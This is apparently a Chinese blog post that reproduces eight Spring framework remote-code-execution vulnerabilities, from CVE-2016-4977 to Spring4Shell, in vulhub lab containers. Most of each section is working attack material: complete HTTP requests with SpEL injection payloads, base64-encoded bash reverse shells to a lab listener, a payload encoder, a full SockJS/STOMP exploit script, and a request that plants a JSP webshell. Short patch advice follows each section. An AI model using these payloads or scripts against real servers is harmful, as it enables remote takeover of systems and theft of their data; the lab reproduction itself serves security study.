Spring漏洞复现(全漏洞版本)

0x01:CVE-2017-4971(Spring WebFlow 远程代码执行漏洞)

1.漏洞描述&环境搭建

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

环境搭建:下载github的vulhub项目,切换到spring到CVE-2017-4971目录下运行:

docker-compose up -d

等待环境启动后,访问http://10.211.55.2:8080,将看到一个酒店预订的页面,这是spring-webflow官方给的简单示例:

2.漏洞复现

首先访问http://10.211.55.2:8080/login,用页面左边给出的任意一个账号/密码登录系统:

 

然后访问id为1的酒店http://10.211.55.2:8080/hotels/1,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):

此时抓包,抓到一个POST数据包,我们向其中添加一个字段(也就是反弹shell的POC):

_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/10.211.55.5/9999+0>%261")).start()=vulhub
POST /hotels/booking?execution=e3s2 HTTP/1.1
Host: 10.211.55.2:8080
Content-Length: 60
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.211.55.2:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.211.55.2:8080/hotels/booking?execution=e3s2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wp-settings-time-1=1687934495; JSESSIONID=C46C1787E2D6BDDB086991554C659FDF
Connection: close

_eventId_confirm=&_csrf=4606f752-e0ec-4cdb-9df7-bd8f101a751d_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/10.211.55.5/4567 0>%261")).start()=vulhub

这里要注意⚠️,不要在repeater里操作,直接抓包处理(仅限测试环境)

漏洞原理:

就是在订阅酒店处,存在一个命令执行,直接调用了两个函数,这两个函数,一个是:addDefaultMappings ,一个是 addModelBindings。

其中,直接控制field这个值的函数是addDefaultMappings,且未做过滤,而addModelBindings是直接获取的java的一个配置文件,由配置文件来确定是否有 binder 节点,如果有,就无法触发代码执行。所以条件有两个:

(1)binder节点为空;

(2) useSpringBeanBinding 默认值(false)未修改。

由此可实际在代码中找到该页面,节点为空(代替命令执行语句)+默认值为false(点击Confirm按钮)

3.修复建议

建议相关版本的用户采取如下措施进行缓解

2.4.x用户升级到2.4.5
建议在视图状态中始终使用显式数据绑定声明, 以防止表单提交在不应设置的目标对象上设置字段。
Spring Web Flow with JSF 的用户不受到影响.


参考链接:

https://www.freebuf.com/articles/web/275607.html

https://blog.csdn.net/youthbelief/article/details/121259415


0x02:CVE-2016-4977(Spring Security OAuth2 远程命令执行漏洞)

1.漏洞描述&环境搭建

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

环境搭建:同上

2.漏洞复现

受影响版本:2.0.0-2.0.9 1.0.0-1.0.5

访问http://10.211.55.2:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test。首先需要填写用户名和密码,我们这里填入admin:admin即可

反弹shell:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuNS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}

然后,我们使用poc.py(vulhub下有)来生成反弹shell的POC:

#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 

poc += ')}'

print(poc)

放入bp拦截到包里成功反弹shell:

GET /oauth/authorize?response_type=${${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(85)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(61)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}}&client_id=acme&scope=openid&redirect_uri=http://test HTTP/1.1
Host: 10.211.55.2:8080
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wp-settings-time-1=1687934495; JSESSIONID=C46C1787E2D6BDDB086991554C659FDF
Connection: close
 

漏洞分析:

首先我们查看src/resources/application.properties的内容来获取clientid和用户的密码:

接着我们访问这个url:

http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=hellotom

其中client_id就是我们前面获取到的,然后输入用户名user,密码填上面的password,点击登录后程序会返回这样一个页面:

因此不考虑代码的情况下,我们通过抛出的异常或者错误页面进行构造就可以。详细请分析参考链接

3.修复建议

  • 使用1.0.x版本的用户应放弃在认证通过和错误这两个页面中使用Whitelabel这个视图。
  • 使用2.0.x版本的用户升级到2.0.10以及更高的版本

参考链接:

https://blog.csdn.net/whatday/article/details/107081822

https://www.freebuf.com/articles/web/275607.html

0x03:CVE-2017-8046(Spring Data Rest 远程命令执行漏洞)

1.漏洞描述&环境搭建

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。

环境搭建:同上

等待环境启动完成,然后访问http://192.169.0.152:8080/即可看到json格式的返回值,说明这是一个Restful风格的API服务器。

2.漏洞复现

影响范围:

  • Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
  • Spring Boot version < 2.0.0M4
  • Spring Data release trains < Kay-RC3

先将命令转为ASCII码表示:

# Payload to ASCII
payload = b'touch /tmp/success_poc'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

开始复现,访问http://192.168.0.152:8080/customers/1,看到一个资源。我们使用PATCH请求来修改之:

PATCH /customers/1 HTTP/1.1
Host: 192.168.0.152:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 214

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115,95,112,111,99}))/lastname", "value": "vulhub" }]

path的值是SpEL表达式,发送上述数据包,将执行new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115,95,112,111,99}表示的命令touch /tmp/success_poc,成功写入文件

反弹shell:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuNS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,77,67,52,121,77,84,69,117,78,84,85,117,78,83,56,50,78,106,89,50,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

PATCH /customers/1 HTTP/1.1
Host: 192.168.0.152:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 444

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,77,67,52,121,77,84,69,117,78,84,85,117,78,83,56,50,78,106,89,50,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "vulhub" }]

成功反弹shell:

3.修复建议

官方已经发布新版本修复了该漏洞,受影响的用户可升级至最新版本来防护该漏洞。

0x04:CVE-2018-1270(Spring Messaging 远程命令执行漏洞)

1.漏洞描述&环境搭建

spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,

在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。

环境搭建:同上

环境启动后,访问http://10.211.55.2:8080即可看到一个Web页面。

2.漏洞复现

影响范围:Spring Framework 5.0 to 5.0.4 Spring Framework 4.3 to 4.3.14

spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。

连接后端服务器的流程,可以理解为:

  1. 用STOMP协议将数据组合成一个文本流
  2. 用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信

下边是一个简单的POC脚本exploit.py(需要用python3.6执行),因为该漏洞是订阅的时候插入SpEL表达式,而对方向这个订阅发送消息时才会触发,所以我们需要指定的信息有:

  1. 基础地址,在vulhub中为http://your-ip:8080/gs-guide-websocket
  2. 待执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')
  3. 某一个订阅的地址,如vulhub中为:/topic/greetings
  4. 如何触发这个订阅,即如何让后端向这个订阅发送消息。在vulhub中,我们向/app/hello发送一个包含name的json,即可触发这个事件。当然在实战中就不同了,所以这个poc并不具有通用性。

根据你自己的需求修改POC。如果是vulhub环境,你只需修改1中的url即可。

修改2中的命令为touch /tmp/awesome_poc,执行:

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time()*1000)

    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)
    
    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']

        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
        
        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])

        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    def __del__(self):
        self.session.close()


sockjs = SockJS('http://your-ip:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",
    'id': 'sub-0',
    'destination': '/topic/greetings'
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

反弹shell poc:

#!/usr/bin/env python3
from asyncio.constants import LOG_THRESHOLD_FOR_CONNLOST_WRITES
import requests
import random
import string
import time
import threading
import logging
import sys
import json
import base64

logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time()*1000)

    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)
    
    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']

        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
        
        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])

        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    def __del__(self):
        self.session.close()

def main():
    sockjs = SockJS(url)
    sockjs.start()
    time.sleep(1)

    sockjs.send('connect', {
        'accept-version': '1.1,1.0',
        'heart-beat': '10000,10000'
    })
    sockjs.send('subscribe', {
        'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo," + command.decode('utf-8') + "}|{base64,-d}|{bash,-i}')",
        'id': 'sub-0',
        'destination': subscribe_dest
    })

    data = json.dumps({'name': 'vulhub'})
    sockjs.send('send', {
        'content-length': len(data),
        'destination': send_dest
    }, data)


if __name__ == "__main__":
    url = 'http://1:8080/gs-guide-websocket'
    subscribe_dest = '/topic/greetings'
    send_dest = '/app/hello'
    lhost = '127.0.0.1'
    lport = '9999'
    command = base64.b64encode('bash -i >& /dev/tcp/{}/{} 0>&1'.format(lhost,lport).encode('utf-8'))
    main()

3.修复建议

升级代码框架 Spring Data Commons

2.0.x的用户升级到2.0.6

1.13.x的用户升级到1.13.11

Spring Data REST

2.x用户升级到2.6.11

3.x用户升级到3.0.6

Spring Boot

1.5.x用户升级到1.5.11

2.x用户升级到2.0.1

0x05:CVE-2018-1273(Spring Data Commons 远程命令执行漏洞)

1.漏洞描述&环境搭建

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

环境搭建:同上

稍等一会,环境启动后,访问http://10.211.55.2:8080/users,将可以看到一个用户注册页面。

2.漏洞复现

影响范围:Spring Data Commons 1.13 to 1.13.10 Spring Data Commons 2.0 to 2.0.5

在注册抓包的时候,修改为一下payload:

POST /users?page=&size=5 HTTP/1.1
Host: 10.211.55.2:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success_poc")]=&password=&repeatedPassword=

构造反弹shell的Payload(注意,Base64编码后需要再进行URL编码,否则将反弹失败):

URL编码前:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuNS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}

URL编码后:

bash -c {echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4yMTEuNTUuNS85OTk5IDA%2BJjE%3D}|{base64,-d}|{bash,-i}

Payload:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4yMTEuNTUuNS85OTk5IDA%2BJjE%3D}|{base64,-d}|{bash,-i}")]=&password=&repeatedPassword=

监听9999端口,成功接收反弹shell:

3.修复建议

即为升级:

2.0.x的用户应该升级到 2.0.6及以上

1.13.x的用户应该升级到 1.13.11及以上


参考链接:


0x06:2022-22947(Spring Cloud Gateway Actuator API SpEL表达式注入命令执行)

1.漏洞描述&环境搭建

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

环境搭建:同上

服务启动后,访问http://localhost:8080即可看到演示页面,这个页面的上游就是example.com

2.漏洞复现

影响范围:

  • 3.1.0
  • 3.0.0 到 3.0.6
  • 旧的不受支持的版本也受影响

首先,发送如下数据包即可添加一个包含恶意SpEL表达式的路由:

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 10.211.55.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like     Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
 "filters": [{
"name": "AddResponseHeader",
"args": {
  "name": "Result",
  "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
  }],
  "uri": "http://example.com"
}

然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行:

POST /actuator/gateway/refresh HTTP/1.1
Host: 10.211.55.2:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wp-settings-time-1=1687934495
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


发送如下数据包可查看结果:

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 10.211.55.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

最后发送如下数据包进行清理,删除所添加的路由:

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 10.211.55.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

Tips⚠️:上述如果出现失败,请抓取自己的包进行修改。

3.修复建议

  • 3.1.x 版本用户应升级到 3.1.1+ 版本,3.0.x 版本用户应升级到 3.0.7+ 版本。
  • 在不影响业务的前提下,通过将配置选项 management.endpoint.gateway.enabled设置为 false禁用 gateway actuator endpoint。

如果不需要Actuator功能,可以通过management.endpoint.gateway.enable:false配置将其禁用。

0x07:CVE-2022-22963(Spring Cloud Function SpEL表达式命令注入)

1.漏洞描述&环境搭建

Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。

服务启动后,执行curl http://10.211.55.2:8080/uppercase -H "Content-Type: text/plain" --data-binary test即可执行uppercase函数,将输入字符串转换成大写。

2.漏洞复现

影响范围:3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

发送如下数据包,spring.cloud.function.routing-expression头中包含的SpEL表达式将会被执行:

POST /functionRouter HTTP/1.1
Host: 10.211.55.2:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wp-settings-time-1=1687934495
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/webroot")
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

反弹shell:

只需要将上边的执行参数改为反弹shell的命令即可成功反弹:

POST /functionRouter HTTP/1.1
Host: 10.211.55.2:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wp-settings-time-1=1687934495
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuNS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}")
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

3.修复建议

升级到高版本


参考链接:

https://www.freebuf.com/vuls/350933.html


0x08:CVE-2022-22965(Spring框架Data Binding与JDK 9+导致的远程代码执行漏洞)

1.漏洞描述&环境搭建

在JDK 9+上运行的Spring MVC或Spring WebFlux应用程序可能存在通过数据绑定执行远程代码(RCE)的漏洞。

现在已知的利用方法要求应用程序以WAR部署的形式在Tomcat上运行,然而,该漏洞的性质更为普遍,可能有其他方法可以利用它。

服务启动后,访问http://localhost:8080/?name=Bob&age=25即可看到一个演示页面。

2.漏洞复现

影响范围:Spring Framework 版本 5.3.0 到 5.3.17、5.2.0 到 5.2.19 以及更早的版本

发送如下数据包,即可修改目标的Tomcat日志路径与后缀,利用这个方法写入一个JSP文件:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22fuck%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 10.211.55.2:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
suffix: %>//
c1: Runtime
c2: <%
Accept-Language: zh-CN,zh;q=0.9
Cookie: wp-settings-time-1=1687934495; JSESSIONID=CF57B4777BD071833A15E58A4845A84D
Connection: close


Tips:每次写完shell会有缓存,因此payload没打成功请重启)

注意,需要在利用完成后将class.module.classLoader.resources.context.parent.pipeline.first.pattern清空,否则每次请求都会写入新的恶意代码在JSP Webshell中,导致这个文件变得很大。发送如下数据包将其设置为空:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern= HTTP/1.1
Host: 10.211.55.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

总体来说,这个漏洞的利用方法会修改目标服务器配置,导致目标需要重启服务器才能恢复,实际测试中需要格外注意。

3.修复建议

通过Maven方式更新Spring版本

<properties>
  <spring-framework.version>5.3.18</spring-framework.version>
</properties>

通过Gradle升级Spring版本

ext['spring-framework.version']='5.3.18'

通过升级springboot提升Spring版本

<spring-boot.version>2.5.12</spring-boot.version>

目前官方已经发布补丁,可升级至安全版本(https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15)

使用waf防护的用户,根据业务实际部署情况,可以添加对"class.module.*",".getRuntime()."字符串添加规则过滤。在部署完毕后,要对规则测试,避免产生不必要影响。

在应用中全局搜索@InitBinder 注解,看方法体内是否调用dataBinder.setDisallowedFields方法,如果发现代码中有调用该方法,则在原来的黑名单中添加"class.module.*"。注意:如果此代码片段使用较多,需要每个地方都追加。

posted @ 2023-07-02 17:25  Arrest  阅读(1025)  评论(0编辑  收藏  举报